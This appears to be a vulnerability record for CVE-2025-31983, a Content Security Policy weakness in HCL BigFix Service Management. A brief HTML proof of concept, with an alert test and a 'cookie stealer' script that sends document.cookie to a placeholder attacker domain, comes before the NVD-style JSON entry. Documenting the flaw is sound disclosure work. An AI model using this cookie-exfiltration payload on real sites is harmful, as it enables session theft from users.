CVE-2025-31983

<!-- // Proof of Concept for CVE-2025-31983 // Description: Demonstrates script injection due to missing or weak CSP. // Usage: Inject the payload into a vulnerable parameter reflected in the response. --> <!-- Payload 1: Basic XSS Test --> <script>alert('CVE-2025-31983: CSP Misconfiguration Detected');</script> <!-- Payload 2: Cookie Stealer (Simulated) --> <!-- Note: This would only work if the CSP allows inline scripts or external requests to the attacker domain --> <script> var img = new Image(); img.src = "https://attacker-controlled-domain.com/collect?c=" + encodeURIComponent(document.cookie); </script>

{"cve": {"id": "CVE-2025-31983", "sourceIdentifier": "[email protected]", "published": "2026-05-06T15:16:07.783", "lastModified": "2026-05-06T23:17:39.177", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "HCL BigFix Service Management (SM) is affected by a security misconfiguration vulnerability due to CSP header. This could allow attackers to inject malicious scripts increasing the risk of cross-site scripting (XSS) and potential exposure of sensitive information."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:N/A:L", "baseScore": 3.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.2, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N", "baseScore": 4.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-358"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hcltech:bigfix_service_management:23.0:*:*:*:*:*:*:*", "matchCriteriaId": "4D915AC1-7C2B-497D-9A77-9726954B2282"}]}]}], "references": [{"url": "https://support.hcl-software.com/csm?id=kb_article&sysparm_article=KB0128144", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}